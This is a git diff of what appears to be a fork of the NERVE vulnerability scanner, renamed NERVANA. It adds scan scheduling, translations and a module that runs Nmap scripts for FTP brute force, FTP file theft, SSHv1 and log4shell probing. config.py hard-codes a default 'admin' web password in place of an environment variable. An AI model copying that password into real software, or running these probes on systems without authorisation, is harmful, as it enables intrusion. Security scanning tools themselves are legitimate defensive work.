rds.get_ips_to_scan(limit = c.get_cfg_scan_threads()) + if c.get_cfg_schedule() > datetime.datetime.now(): + time.sleep(10) + continue + hosts = rds.get_ips_to_scan(limit = c.get_cfg_scan_threads()) + if hosts: - conf = rds.get_scan_config() scan_data = scanner.scan(hosts, max_ports = c.get_cfg_max_ports(), custom_ports = c.get_cfg_custom_ports(), @@ -36,11 +41,11 @@ def scanner(): for host, values in scan_data.items(): if 'ports' in values and values['ports']: logger.info('Discovered Asset: {}'.format(host)) - logger.debug('Host: {}, Open Ports: {}'.format(host, values['ports'])) + logger.info('Host: {}, Open Ports: {}'.format(host, values['ports'])) rds.store_topology(host) rds.store_sca(host, values) rds.store_inv(host, values) else: if values['status_reason'] == 'echo-reply': logger.info('Discovered Asset: {}'.format(host)) - rds.store_topology(host) \ No newline at end of file + rds.store_topology(host) diff --git a/bin/scheduler.py b/bin/scheduler.py index b52aee8..2a0bcb0 100644 --- a/bin/scheduler.py +++ b/bin/scheduler.py @@ -2,6 +2,7 @@ import time import ipaddress import requests +import datetime from core.redis import rds from core.utils import Network, Integration @@ -14,20 +15,18 @@ def schedule_ips(networks, excluded_networks): net = ipaddress.ip_network(network, strict=False) for ip_address in net: ip_addr = str(ip_address) - if not isinstance(ip_addr, str): continue if excluded_networks: skip = False - for excluded_network in excluded_networks: + for excluded_network in excluded_networks: if ipaddress.ip_address(ip_addr) in ipaddress.ip_network(excluded_network): skip = True - if not skip: rds.store_sch(ip_addr) - else: + else: rds.store_sch(ip_addr) def schedule_domains(domains): @@ -41,27 +40,30 @@ def scheduler(): while True: time.sleep(10) - session_state = rds.get_session_state() - - if not session_state or session_state != 'created': - continue - config = rds.get_scan_config() + config = rds.get_next_scan_config() if not config: continue conf = ConfParser(config) + + if conf.get_cfg_schedule() > datetime.datetime.now(): + continue + rds.clear_session() + logger.info('Starting scan at: ' + conf.get_cfg_schedule().strftime('%Y-%m-%d %H:%M:%S')) + networks = conf.get_cfg_networks() domains = conf.get_cfg_domains() excluded_networks = conf.get_cfg_exc_networks() - excluded_networks.append(net_utils.get_primary_ip() + '/32') + # Exclude private ip of host from scan + #excluded_networks.append(net_utils.get_primary_ip() + '/32') frequency = conf.get_cfg_frequency() - if frequency == 'once': + if frequency == 'once' or frequency == 'schedule': rds.start_session() - + if networks: schedule_ips(networks, excluded_networks) @@ -69,7 +71,7 @@ def scheduler(): schedule_domains(domains) checks = 0 - + while True: if rds.is_session_active(): checks = 0 @@ -98,6 +100,9 @@ def scheduler(): int_utils.submit_slack(hook = slack_settings, data = vuln_data) + rds.store_json('last_config', config) + rds.store_json('last_vuln_data', vuln_data) + rds.advance_scan_config_queue() rds.end_session() break @@ -105,7 +110,7 @@ def scheduler(): elif frequency == 'continuous': rds.start_session() - + if networks: schedule_ips(networks, excluded_networks) @@ -131,7 +136,9 @@ def scheduler(): cfg = conf.get_raw_cfg(), data = vuln_data) - rds.create_session() + # Scan is not removed from queue in order to maintain continuity + rds.store_json('last_config', config) + rds.store_json('last_vuln_data', vuln_data) break - time.sleep(20) \ No newline at end of file + time.sleep(20) diff --git a/config.py b/config.py index 9193b33..434397f 100644 --- a/config.py +++ b/config.py @@ -1,15 +1,17 @@ import os +import sys +from flask_babel import _ # Logger Configuration -LOG_LEVEL = 'INFO' +LOG_LEVEL = 'DEBUG' # Webserver Configuration WEB_HOST = '0.0.0.0' WEB_PORT = 8080 WEB_DEBUG = False WEB_USER = os.environ.get('username', 'admin') -WEB_PASSW = os.environ.get('password', 'admin') -WEB_LOG = 'nerve.log' +WEB_PASSW = 'admin' +WEB_LOG = 'nervana.log' # Web Security # Setting this to True will return all responses with security headers. @@ -20,7 +22,7 @@ 'XSS':'1; mode=block', 'XFO':'DENY', 'RP':'no-referrer', - 'Server':'NERVE' + 'Server':'NERVANA' } # Maximum allowed attempts before banning the remote origin @@ -33,7 +35,7 @@ RDS_PASSW = None # Scan Configuration -USER_AGENT = 'NERVE' +USER_AGENT = 'NERVANA' # Default scan configuration # This will be used in the "Quick Start" scan. @@ -44,8 +46,8 @@ 'domains':[] }, 'config':{ - 'name':'Default', - 'description':'My Default Scan', + 'name':_('Default'), + 'description':_('My Default Scan'), 'engineer':'John Doe', 'allow_aggressive':3, 'allow_dos':False, @@ -65,6 +67,28 @@ 'post_event':{ 'webhook':None }, - 'frequency':'once' + 'frequency':'once', + 'schedule_date': '' } } + +AVIALABLE_LANGUAGES = ['en', 'es'] +DEFAULT_LANGUAGE = 'en' + +NERVANA_INSTALL_PATH = "/opt/nervana/" +NSE_SCRIPTS_PATH = NERVANA_INSTALL_PATH + "rules/nse/" + +# NMAP parameters +NMAP_INSTALL_PATH = "/usr/share/nmap/" # Default location, can also be: /usr/local/share/nmap/ +NMAP_SCRIPTS_IN_ASSESSMENT = ['ftp-brute','sshv1'] + +# ftp-steal args +# ftp login credentials +FTP_STEAL_USER = "ftp_user" +FTP_STEAL_PASS = "ftp_user" +# Search directory +FTP_STEAL_DIR = "upload" + +# Bruteforce credentials file path +FTP_BRUTE_BRUTE_CREDFILE = NERVANA_INSTALL_PATH + "db/db_userandpass" + diff --git a/core/logging.py b/core/logging.py index 44bfff0..275155e 100644 --- a/core/logging.py +++ b/core/logging.py @@ -3,7 +3,7 @@ from config import LOG_LEVEL, WEB_LOG -logger = logging.getLogger('NERVE') +logger = logging.getLogger('NERVANA') level = logging.getLevelName(LOG_LEVEL) logger.setLevel(level) diff --git a/core/mailer.py b/core/mailer.py index 49b4773..e36218e 100644 --- a/core/mailer.py +++ b/core/mailer.py @@ -9,42 +9,44 @@ from core.redis import rds from core.utils import Utils +from flask_babel import _ + def send_email(settings, data=None): utils = Utils() keys = ('host', 'port', 'user', 'pass', 'to_addr', 'from_addr', 'ssl_type', 'action') if not all(elem in settings for elem in keys): - return ('Error, missing settings', 400) + return (_('Error, missing settings'), 400) if not settings['host'] or not settings['port']: - return ('SMTP address or SMTP port are empty', 400) + return (_('SMTP address or SMTP port are empty'), 400) if not isinstance(settings['port'], int): - return ('SMTP Port must be a number', 400) + return (_('SMTP Port must be a number'), 400) if not settings['from_addr'] or not settings['to_addr']: - return ('FROM or TO Address are empty', 400) + return (_('FROM or TO Address are empty'), 400) if not utils.is_string_email(settings['from_addr']) or \ not utils.is_string_email(settings['to_addr']): - return ('FROM or TO addresses are not valid emails', 400) + return (_('FROM or TO addresses are not valid emails'), 400) if settings['ssl_type'] not in ('starttls', 'ssl'): - return ('Error in security settings (must be starttls or ssl).', 400) + return (_('Error in security settings (must be starttls or ssl).'), 400) if settings['action'] not in ('save', 'test', 'send'): - return ('Error, action is not supported', 400) + return (_('Error, action is not supported'), 400) msg = MIMEMultipart('alternative') subject = '' if settings['action'] == 'test': - subject = 'Test by NERVE' - part = MIMEText('This is a test.', 'plain') + subject = _('Test by NERVANA') + part = MIMEText(_('This is a test.'), 'plain') msg.attach(part) elif settings['action'] == 'send': - subject = 'Assessment Complete' + subject = _('Assessment Complete') part = MIMEText(str(data), 'plain') part.add_header('Content-Disposition', 'attachment', @@ -53,11 +55,11 @@ def send_email(settings, data=None): elif settings['action'] == 'save': rds.store_json('p_settings_email', settings) - return ('OK, Saved.', 200) + return (_('OK, Saved.'), 200) context = ssl.create_default_context() - msg['From'] = formataddr((str(Header('NERVE Security', 'utf-8')), settings['from_addr'])) + msg['From'] = formataddr((str(Header('NERVANA Security', 'utf-8')), settings['from_addr'])) msg['To'] = settings['to_addr'] msg['Subject'] = subject @@ -73,9 +75,9 @@ def send_email(settings, data=None): server.login(settings['user'], settings['pass']) server.sendmail(settings['from_addr'], settings['to_addr'], msg.as_string()) server.quit() - return ('Message was sent successfully', 200) + return (_('Message was sent successfully'), 200) except Exception as e: - return ('Message was could not be sent {}'.format(e), 500) + return (_('Message could not be sent %(err)s', err=e), 500) - \ No newline at end of file + diff --git a/core/manager.py b/core/manager.py index 23d8241..2aa5e86 100644 --- a/core/manager.py +++ b/core/manager.py @@ -2,10 +2,13 @@ import sys import glob +# Adds rules to path variable and returns list of rules names def get_rules(role): rules = [] + # Returns list of paths that match specified pattern for r in glob.glob('rules/**/'): + # Iterate list and add to path variable sys.path.insert(0, r) if role == 'attacker': @@ -14,13 +17,15 @@ def get_rules(role): rules.append(fname) return rules - + +# Import all rules moduless in runtime def rule_manager(role): all_rules = get_rules(role) loaded_rules = {} for r in all_rules: mod = __import__(r) + # Call "Rule()" class of "r" python script loaded_rules[r] = mod.Rule() return loaded_rules diff --git a/core/nse_scripts.py b/core/nse_scripts.py new file mode 100644 index 0000000..438f07d --- /dev/null +++ b/core/nse_scripts.py @@ -0,0 +1,298 @@ +from core.parser import ScanParser +from core.logging import logger +from core.redis import rds + +import sys +import os +import nmap +import config +import re + +def verify_output(output, script): + """ + Check if output corresponds to found vulnerability, only for supported scripts. + + :param output str: Scan result output. + :param script str: Corresponding script name. + :return vulnerability_found string: true,false,unknown value indicating if vulnerability was found during scan. + """ + + vulnerability_found = 'false' + + # Verification + if script == 'ftp-steal': + lines = output.split("\n") + for line in lines: + if 'Lines containing keywords:' in line: + vulnerability_found = 'true' + + elif script == 'ftp-brute': + lines = output.split("\n") + for line in lines: + if 'Valid credentials' in line: + vulnerability_found = 'true' + + elif script == 'sshv1': + lines = output.split("\n") + for line in lines: + if 'true' in line: + vulnerability_found = 'true' + + elif script == 'ssh-log4shell': + lines = output.split("\n") + for line in lines: + if 'Password as payload succeeded. Weird' in line: + vulnerability_found = 'true' + + else: + vulnerability_found = 'unknown' + + return vulnerability_found + +def get_args(script): + """ + Get arguments of NSE script + + param script str: Name of nse script associated with args. + return script_args str: NSE script args string in execution parameter format + """ + script_args = '--script-args ' + + if script == 'ftp-steal': + if hasattr(config, 'FTP_STEAL_USER'): + script_args += 'user={},'.format(config.FTP_STEAL_USER) + else: + script_args += 'user=root,' + if hasattr(config, 'FTP_STEAL_PASS'): + script_args += 'pass={},'.format(config.FTP_STEAL_PASS) + else: + script_args += 'pass=root,' + if hasattr(config, 'FTP_STEAL_DIR'): + script_args += 'dir={},'.format(config.FTP_STEAL_DIR) + else: + script_args += 'dir=.,' + + elif script == 'ftp-brute': + if hasattr(config, 'FTP_BRUTE_BRUTE_CREDFILE'): + script_args += 'brute.credfile={},'.format(config.FTP_BRUTE_BRUTE_CREDFILE) + + # Get config arguments from script name + else: + for name ,value in vars(config).items(): + name_match = script.replace("-","_").upper() + if name.startswith(name_match): + data = name.split(name_match + '_') + arg_name = data[1].replace("_",".").lower() + script_args += '{}={},'.format(arg_name, value) + + return script_args[:-1] + + +def check_rule(script, metadata, ip, values, conf, location): + """ + Launch attack to service + + :param script str: Script name or script path. + :param metadata dict(str or int): Metadata of script + :param ip str: Host ip + :param values dict(str): Port scan info + :param conf dict(str): Scan configuration info + :param location str: Location where nse script resides, only supported values at the moment are "local" and "nmap" + """ + nm = nmap.PortScanner() + if location == 'local': + script_syntax = '--script ' + config.NSE_SCRIPTS_PATH + script + '.nse' + elif location == 'nmap': + script_syntax = '--script ' + config.NMAP_INSTALL_PATH + 'scripts/' + script + '.nse' + ports = ','.join([str(p) for p in values['ports']]) + + # Start scan + script_args = get_args(script) + if script_args == '--script-args': + nm.scan(ip, ports=ports, arguments='{}'.format(script_syntax)) # Case when no arguments are given + else: + nm.scan(ip, ports=ports, arguments='{} {}'.format(script_syntax, get_args(script))) + + # Check if the host is switched off in the middle of scan + test_scan_finished = nm.all_hosts() + test_scan_finished_len = len(test_scan_finished) + if test_scan_finished_len == 0: + logger.info('Error during scan, host switched off') + else: + + # Scan finished + output_scan = nm._scan_result['scan'][ip] + + #Check if NSE script was executed correctly + for p in values['ports']: + if 'script' in output_scan['tcp'][p]: + + # key = script + for key,result in output_scan['tcp'][p]['script'].items(): + + vulnerable = verify_output(result, key) + if vulnerable == 'true': + # Save result in redis for further display + save_result(key, result, metadata, ip, p, values, True) + + # Potential Threat, means tool does not support output result for script + elif vulnerable == 'unknown': + save_result(key, result, metadata, ip, p, values, False) + + # Script not executed correctly + else: + logger.debug('Error while executing script {} on host {} for port {}'.format(script, ip, p)) + + + return + +def get_metadata(script, location): + """ + Read through nse file to obtain corresponding metadata + + :param script str: Script name + :param location str: Location where nse script resides, only supported values at the moment are "local" and "nmap" + :return result dict(str or int): Metadata values found + + """ + try: + if location == 'local': + script_path = config.NSE_SCRIPTS_PATH + script + '.nse' + elif location == 'nmap': + script_path = config.NMAP_INSTALL_PATH + 'scripts/' + script + '.nse' + nse_script = open(script_path, 'r') + + # Delimeters + description_found = False + description_done = False + severity_level_found = False + confirm_found = False + mitigation_found = False + intensity_found = False + categories_found = False + categories_done = False + + # Info + description = '' + severity_level = 5 # Undefined + confirm_description = '' + mitigation_description = '' + intensity = 3 # Default Highest possible, execute only on extremely aggressive + categories = [] + + # Traverse file + for line in nse_script: + # All info has been found + if description_done and severity_level_found and confirm_found and mitigation_found and intensity_found and categories_found: + break + # Case when description is being read + elif description_found and not description_done: + if ']]' in line: + description += line.split(']]')[0] + description_done = True + else: + description += line + # Case when categories are being read + elif categories_found and not categories_done: + categories.extend(parse_categories(line)) + if '}' in line: + categories_done = True + # Info is missing and description is not being read + else: + if 'description' == line[:11]: + description_found = True + if 'severity' == line[:8]: + line = line.replace(" ","") + severity_level = int(line[-2]) + severity_level_found = True + if 'confirm' == line[:7]: + confirm_description = line.split('"')[1] + confirm_found = True + if 'mitigation' == line[:10]: + mitigation_description = line.split('"')[1] + mitigation_found = True + if 'intensity' == line[:9]: + intensity = int(line[-2]) + intensity_found = True + if 'categories' == line[:10]: + categories_found = True + categories.extend(parse_categories(line)) + if '}' in line: + categories_done = True + + # Check and format values values + # Value must be between 0 - 6 + if severity_level > 6 or severity_level < 0: + severity_level = 5 # Undefined + # Value must be between 0 - 3 + if intensity > 3 or intensity < 0: + intensity = 3 + + # Normalize values(confirm will be normalized down the line) + description = re.sub(r"[^a-zA-Z0-9 ]", "", description) + mitigation_description = re.sub(r"[^a-zA-Z0-9 ]", "", mitigation_description) + + result = {'description': description, 'severity_level': severity_level, 'confirm': confirm_description, 'mitigation': mitigation_description, 'intensity': intensity, 'categories': categories} + return result + + # Error when reading file + except IOError as e: + return {'error': e} + +def parse_categories(raw_data): + """ + Auxiliary function to parse categories on nse scripts. + + :param raw_data str: Raw line of data from nse script categories + :return categories list(str): List of found categories in data line + """ + categories = re.findall(r'\"(.*?)\"', raw_data) + if categories: + return categories + categories_2 = re.findall(r"\'(.*?)\'", raw_data) + if categories_2: + return categories_2 + else: + return [] + +def save_result(script, result, metadata, ip, port, values, confirmed): + """ + Save scan result in Redis. + + :param script str: Script name + :param result str: Scan result + :param metadata dict(str or int): Metadata of script + :param ip str: Host ip + :param port str: Host port + :param values dict(str): Previous port scan info. + :param confirmed bool: Boolean indicating if result is a confirmed vulnerability. + """ + + # Obtain domain from parser + parser = ScanParser(port, values) + domain = parser.get_domain() + + # In case no confirm description is given display scan details + confirm = metadata['confirm'] + if confirm == '': + confirm = result + + # If result is not confirmed mark as potencial vuln + severity = metadata['severity_level'] + if not confirmed: + severity = 6 # Potential + + # Save results on redis + rds.store_vuln({ + 'ip':ip, + 'port':port, + 'domain':domain, + 'rule_id':script, # Script name as ID for now + 'rule_sev': severity, + 'rule_desc': metadata['description'], + 'rule_confirm': re.sub(r"[^a-zA-Z0-9 ]", "", confirm), # Falta verificar que pasa cuando es vacó + 'rule_details': result, + 'rule_mitigation': metadata['mitigation'] + }) + + return diff --git a/core/parser.py b/core/parser.py index 3838dad..acf5bce 100644 --- a/core/parser.py +++ b/core/parser.py @@ -1,8 +1,9 @@ import socket +import datetime from socket import gethostname from core.utils import Network, Utils - +from flask_babel import _ class SchemaParser: def __init__(self, data, req): @@ -47,80 +48,85 @@ def verify(self): parallel_scan = self.data['config']['scan_opts']['parallel_scan'] parallel_attack = self.data['config']['scan_opts']['parallel_attack'] frequency = self.data['config']['frequency'] + schedule_date = self.data['config']['schedule_date'] """ Check Structure """ if not isinstance(name, str): - error = 'Option [ASSESSMENT_NAME] must be a String' + error = _('Option [ASSESSMENT_NAME] must be a String') verified = False if not isinstance(networks, list): - error = 'Option [NETWORKS] must be an Array' + error = _('Option [NETWORKS] must be an Array') verified = False if not isinstance(excluded_networks, list): - error = 'Option [EXCLUDED_NETWORKS] must be an Array' + error = _('Option [EXCLUDED_NETWORKS] must be an Array') verified = False if not isinstance(domains, list): - error = 'Option [DOMAINS] must be an Array' + error = _('Option [DOMAINS] must be an Array') verified = False if not isinstance(intrusive_level, int): - error = 'Option [AGGRESSIVENESS_LEVEL] must be an Integer' + error = _('Option [AGGRESSIVENESS_LEVEL] must be an Integer') verified = False if not isinstance(allow_dos, bool): - error = 'Option [ALLOW_DENIAL_OF_SERVICE] must be a Boolean' + error = _('Option [ALLOW_DENIAL_OF_SERVICE] must be a Boolean') verified = False if not isinstance(allow_inet, bool): - error = 'Option [ALLOW_INTERNET_OUTBOUND] must be a Boolean' + error = _('Option [ALLOW_INTERNET_OUTBOUND] must be a Boolean') verified = False if not isinstance(allow_bf, bool): - error = 'Option [ALLOW_BRUTE_FORCE] must be a Boolean' + error = _('Option [ALLOW_BRUTE_FORCE] must be a Boolean') verified = False if not isinstance(dictionary_usernames, list): - error = 'Option [DICTIONARY_USERNAMES] must be an Array' + error = _('Option [DICTIONARY_USERNAMES] must be an Array') verified = False if not isinstance(dictionary_passwords, list): - error = 'Option [DICTIONARY_PASSWORDS] must be an Array' + error = _('Option [DICTIONARY_PASSWORDS] must be an Array') verified = False if not isinstance(net_interface, (str, type(None))): - error = 'Option [NET_INTERFACE] must be null or a String' + error = _('Option [NET_INTERFACE] must be null or a String') verified = False if not isinstance(max_ports, int): - error = 'Option [MAX_PORTS] must be an Integer' + error = _('Option [MAX_PORTS] must be an Integer') verified = False if not isinstance(custom_ports, list): - error = 'Option [MAX_PORTS] must be an Array' + error = _('Option [MAX_PORTS] must be an Array') verified = False if not isinstance(custom_ports, list): - error = 'Option [CUSTOM_PORTS] must be an Array' + error = _('Option [CUSTOM_PORTS] must be an Array') verified = False if not isinstance(parallel_scan, int): - error = 'Option [PARALLEL_SCAN] must be an Integer' + error = _('Option [PARALLEL_SCAN] must be an Integer') verified = False if not isinstance(parallel_attack, int): - error = 'Option [PARALLEL_ATTACK] must be an Integer' + error = _('Option [PARALLEL_ATTACK] must be an Integer') verified = False if not isinstance(webhook, (str, type(None))): - error = 'Option [WEB_HOOK] must be null or a String' + error = _('Option [WEB_HOOK] must be null or a String') verified = False if not isinstance(frequency, str): - error = 'Option [FREQUENCY] must be a String' + error = _('Option [FREQUENCY] must be a String') + verified = False + + if not isinstance(schedule_date, str): + error = _('Option [SCHEDULE_DATE] must be a String') verified = False if not verified: @@ -131,55 +137,88 @@ def verify(self): """ if len(name) > 30 or not self.utils.is_string_safe(name): - error = 'Option [ASSESSMENT_NAME] must not exceed 30 characters and must not have special characters.' + error = _('Option [ASSESSMENT_NAME] must not exceed 30 characters and must not have special characters.') verified = False if description: - if len(description) > 50 or not self.utils.is_string_safe(description): - error = 'Option [ASSESSMENT_DESCRIPTION] must not exceed 200 characters and must not have special characters.' + if len(description) > 200 or not self.utils.is_string_safe(description): + error = _('Option [ASSESSMENT_DESCRIPTION] must not exceed 200 characters and must not have special characters.') verified = False if engineer: if len(engineer) > 20 or not self.utils.is_string_safe(engineer): - error = 'Option [ENGINEER] must not exceed 20 characters and must not have special characters.' + error = _('Option [ENGINEER] must not exceed 20 characters and must not have special characters.') verified = False if webhook: if not self.utils.is_string_url(webhook): - error = 'Option [WEB_HOOK] must be a valid URL.' + error = _('Option [WEB_HOOK] must be a valid URL.') verified = False - if frequency not in ('once', 'continuous'): - error = 'Option [SCHEDULE] must be "once" or "continuous"' + if frequency not in ('once', 'continuous','schedule'): + error = _('Option [SCHEDULE] must be "once" or "continuous" or "schedule"') verified = False + if not schedule_date and frequency == 'schedule': + error = _('Option [SCHEDULE_DATE] must not be empty if scheduling a scan') + verified = False + + if schedule_date: + # split throws exception when delimiter is not present. + # int throws exception when string value is not int. + # datetime throws exception when date is not valid. + try: + date_time_split = schedule_date.split("T") + date_part = date_time_split[0].split("-") + time_part = date_time_split[1].split(":") + yyyy = int(date_part[0]) + mm = int(date_part[1]) + dd = int(date_part[2]) + hh = int(time_part[0]) + mins = int(time_part[1]) + + # Verify correct format + check_date = datetime.datetime(year=yyyy,month=mm,day=dd,hour=hh,minute=mins) + + # Check scheduled date is posterior to current date + if (datetime.datetime.now() > check_date): + error = _('Option [SCHEDULE_DATE] must not be prior to current date') + verified = False + # Verify date is no more than 2100 + if (yyyy > 2100): + error = _('Option [SCHEDULE_DATE] must not surpass year 2100') + verified = False + except Exception as e: + error = _('Option [SCHEDULE_DATE] must be in date format yyyy-mm-ddThh:mm') + verified = False + if not 0 <= intrusive_level <= 3: - error = 'Option [AGGRESSIVE_LEVEL] must be between 0-3' + error = _('Option [AGGRESSIVE_LEVEL] must be between 0-3') verified = False if max_ports: if not self.netutils.is_valid_port(max_ports): - error = 'Option [MAX_PORTS] must be a value between 0-65535' + error = _('Option [MAX_PORTS] must be a value between 0-65535') verified = False if custom_ports: for cport in custom_ports: if not self.netutils.is_valid_port(cport): - error = 'Option [CUSTOM_PORTS] must be an array of values between 0-65535' + error = _('Option [CUSTOM_PORTS] must be an array of values between 0-65535') verified = False if not networks and not domains: - error = 'Options [DOMAINS] or Options [NETWORKS] must not be empty' + error = _('Options [DOMAINS] or Options [NETWORKS] must not be empty') verified = False if networks: for network in networks: try: if not self.netutils.is_network(network): - error = 'Option [NETWORKS] must be a valid network CIDR' + error = _('Option [NETWORKS] must be a valid network CIDR') raise ValueError elif self.netutils.is_network_in_denylist(network): - error = 'Option [NETWORKS] is not allowed' + error = _('Option [NETWORKS] is not allowed') raise ValueError except ValueError: @@ -191,34 +230,34 @@ def verify(self): if not self.netutils.is_network(network): raise ValueError except ValueError: - error = 'Option [EXCLUDED NETWORKS] must be a valid network CIDR' + error = _('Option [EXCLUDED NETWORKS] must be a valid network CIDR') verified = False if domains: for domain in domains: if not self.netutils.is_dns(domain): - error = 'Option [DOMAINS] must contain valid domains (and they must be resolveable!)' + error = _('Option [DOMAINS] must contain valid domains (and they must be resolveable!)') verified = False if net_interface: n = Network() if not net_interface in n.get_nics(): - error = 'Option [NET_INTERFACE] must be valid' + error = _('Option [NET_INTERFACE] must be valid') verified = False else: self.data['config']['scan_opts']['interface'] = None if not 1 <= parallel_attack <= 100: - error = 'Option [ATTACK_THREADS] must be between 1-100' + error = _('Option [ATTACK_THREADS] must be between 1-100') verified = False if not 1 <= parallel_scan <= 100: - error = 'Option [SCAN_THREADS] must be between 1-100' + error = _('Option [SCAN_THREADS] must be between 1-100') verified = False except KeyError as e: - error = 'One or more options are missing: {}'.format(e) + error = _('One or more options are missing: %(err)s', err=e) verified = False return (verified, error, self.data) @@ -321,6 +360,9 @@ def get_cfg_webhook(self): def get_cfg_frequency(self): return self.values['config']['frequency'] + + def get_cfg_schedule(self): + return self.values['config']['schedule_date'] class Helper: def cpeHyperlink(self, cpe): diff --git a/core/port_scanner.py b/core/port_scanner.py index 7568284..c6e468f 100644 --- a/core/port_scanner.py +++ b/core/port_scanner.py @@ -52,6 +52,7 @@ def scan(self, hosts, max_ports, custom_ports, interface=None): if 'scan' in result: for host, res in result['scan'].items(): + logger.info('For host {}, scan nmap result: {}'.format(host, res)) data[host] = {} data[host]['status'] = res['status']['state'] @@ -84,5 +85,5 @@ def scan(self, hosts, max_ports, custom_ports, interface=None): data[host]['port_data'][port]['state'] = values['state'] data[host]['port_data'][port]['version'] = values['version'] data[host]['port_data'][port]['product'] = values['product'] - + return data diff --git a/core/redis.py b/core/redis.py index 0e2dbc7..d465212 100644 --- a/core/redis.py +++ b/core/redis.py @@ -3,6 +3,7 @@ import redis import threading import pickle +import datetime from core.logging import logger from core.utils import Utils @@ -34,7 +35,32 @@ def store_json(self, key, value): def store_topology(self, host): self.r.sadd("sess_topology", host) - + + def store_config (self, scan): + date = scan['config']['schedule_date'] + + if date: + date_time_split = date.split("T") + date_part = date_time_split[0].split("-") + time_part = date_time_split[1].split(":") + yyyy = int(date_part[0]) + mm = int(date_part[1]) + dd = int(date_part[2]) + hh = int(time_part[0]) + mins = int(time_part[1]) + + date = datetime.datetime(year=yyyy,month=mm,day=dd,hour=hh,minute=mins) + + else: + date = datetime.datetime.now() + + # Change date from string to datetime object + scan['config']['schedule_date'] = date + date_in_sec = int(date.timestamp()) + pickle_cfg = pickle.dumps(scan) + + self.r.zadd("scan_configs", {pickle_cfg : date_in_sec}) + def get_slack_settings(self): return self.r.get('p_settings_slack') @@ -69,6 +95,7 @@ def store_sch(self, value): key = 'sch_' + value self.store(key, value) + # Returns dictionary with ips as keys def get_ips_to_scan(self, limit): data = {} count = 0 @@ -91,26 +118,27 @@ def get_ips_to_scan(self, limit): return data - def get_scan_data(self): + # Returns dictionary with ips and values + def get_scan_data(self, delete): kv = {} - ip_key = None for k in self.r.scan_iter(match="sca_*"): ip_key = k.decode('utf-8') - break # only get one key - if ip_key: - data = self.r.get(ip_key) - if data: - try: - result = pickle.loads(data) - if result: - ip = ip_key.split('_')[1] - kv[ip] = result - self.r.delete(ip_key) - except pickle.UnpicklingError as e: - logger.error('Error unpickling %s' % e) - logger.debug('IP Key: %s' % ip_key) + if ip_key: + data = self.r.get(ip_key) + if data: + try: + result = pickle.loads(data) + if result: + ip = ip_key.split('_')[1] + kv[ip] = result + # Methods is called twice(python and lua), key should be erased on second call + if delete: + self.r.delete(ip_key) + except pickle.UnpicklingError as e: + logger.error('Error unpickling %s' % e) + logger.debug('IP Key: %s' % ip_key) return kv @@ -149,12 +177,27 @@ def get_inventory_data(self): def get_topology(self): return self.r.smembers("sess_topology") - def get_scan_config(self): - cfg = self.r.get('sess_config') + def get_next_scan_config(self): + cfg = self.r.zrange("scan_configs",0,0) + if cfg: + return pickle.loads(cfg[0]) + return {} + + def advance_scan_config_queue(self): + self.r.zremrangebyrank("scan_configs",0,0) + + def get_last_scan_config(self): + cfg = self.r.get('last_config') if cfg: return pickle.loads(cfg) return {} - + + def get_last_vuln_data(self): + cfg = self.r.get('last_vuln_data') + if cfg: + return pickle.loads(cfg) + return {} + def get_scan_progress(self): count = 0 for k in self.r.scan_iter(match="sch_*"): @@ -172,10 +215,16 @@ def get_last_scan(self): def get_scan_count(self): return self.r.get('p_scan-count') + + def get_interface_language(self): + return self.r.get('language').decode('utf-8') + + def change_language(self, lang): + self.r.set('language', lang) def is_attack_active(self): for i in threading.enumerate(): - if i.name.startswith('rule_'): + if i.name.startswith('rule_') or i.name.startswith('nse_rule_'): return True return False @@ -193,14 +242,11 @@ def get_session_state(self): return state.decode('utf-8') return None - def create_session(self): - self.store('sess_state', 'created') - self.r.incr('p_scan-count') - self.r.set('p_last-scan', self.utils.get_datetime()) - def start_session(self): logger.info('Starting a new session...') self.store('sess_state', 'running') + self.r.incr('p_scan-count') + self.r.set('p_last-scan', self.utils.get_datetime()) def end_session(self): logger.info('The session has ended.') @@ -211,10 +257,11 @@ def clear_session(self): for key in self.r.scan_iter(match="{}_*".format(prefix)): self.r.delete(key) - for i in ('topology', 'config', 'state'): + for i in ('topology', 'state'): self.r.delete('sess_{}'.format(i)) self.utils.clear_log() + self.r.delete('p_rule-exclusions') def is_ip_blocked(self, ip): @@ -241,8 +288,10 @@ def db_size(self): def initialize(self): self.clear_session() + self.clear_config() self.r.set('p_scan-count', 0) self.r.set('p_last-scan', 'N/A') + self.r.set('language', config.DEFAULT_LANGUAGE) def flushdb(self): self.r.flushdb() @@ -250,4 +299,9 @@ def flushdb(self): def delete(self, key): self.r.delete(key) -rds = RedisManager() \ No newline at end of file + def clear_config(self): + self.r.zremrangebyrank("scan_configs",0,-1) + self.r.delete("last_config") + self.r.delete('last_vuln_data') + +rds = RedisManager() diff --git a/core/register.py b/core/register.py index 5e92cc4..c4ed73a 100644 --- a/core/register.py +++ b/core/register.py @@ -5,22 +5,22 @@ from core.logging import logger from core.redis import rds +from flask_babel import _ + class Register: def __init__(self): self.rds = rds self.utils = Utils() def scan(self, scan): - if rds.get_session_state() in ('running', 'created'): - return (False, 429, 'There is already a scan in progress!') + state = rds.get_session_state() + if state is not None and state == 'running': + return (False, 429, _('There is already a scan in progress!')) cfg = ConfParser(scan) - self.rds.clear_session() - self.rds.create_session() - logger.info('Storing the new configuration') - self.rds.store_json('sess_config', scan) + self.rds.store_config(scan) networks = cfg.get_cfg_networks() domains = cfg.get_cfg_domains() @@ -31,4 +31,4 @@ def scan(self, scan): if domains: logger.info('Scheduling domains(s): {}'.format(', '.join(domains))) - return (True, 200, 'Registered a new scan successfully!') \ No newline at end of file + return (True, 200, _('Registered a new scan successfully!')) diff --git a/core/reports.py b/core/reports.py index edb563d..5702eb7 100644 --- a/core/reports.py +++ b/core/reports.py @@ -6,6 +6,9 @@ from core.utils import Utils from version import VERSION +from flask_babel import gettext +from flask_babel import ngettext + utils = Utils() def generate_csv(data): @@ -30,10 +33,11 @@ def generate_csv(data): return filename def generate_html(vulns, conf): - vuln_count = {0:0, 1:0, 2:0, 3:0, 4:0} + vuln_count = {0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0} filename = 'report-{}-{}.html'.format(utils.generate_uuid(), utils.get_date()) templateLoader = jinja2.FileSystemLoader(searchpath="./templates/") - templateEnv = jinja2.Environment(loader=templateLoader) + templateEnv = jinja2.Environment(loader=templateLoader, autoescape=True, extensions=['jinja2.ext.i18n']) + templateEnv.install_gettext_callables(gettext=gettext, ngettext=ngettext, newstyle=True) TEMPLATE_FILE = "report_template.html" template = templateEnv.get_template(TEMPLATE_FILE) @@ -106,4 +110,4 @@ def generate_xml(vulns): f.write(data.decode('utf-8')) f.close() - return filename \ No newline at end 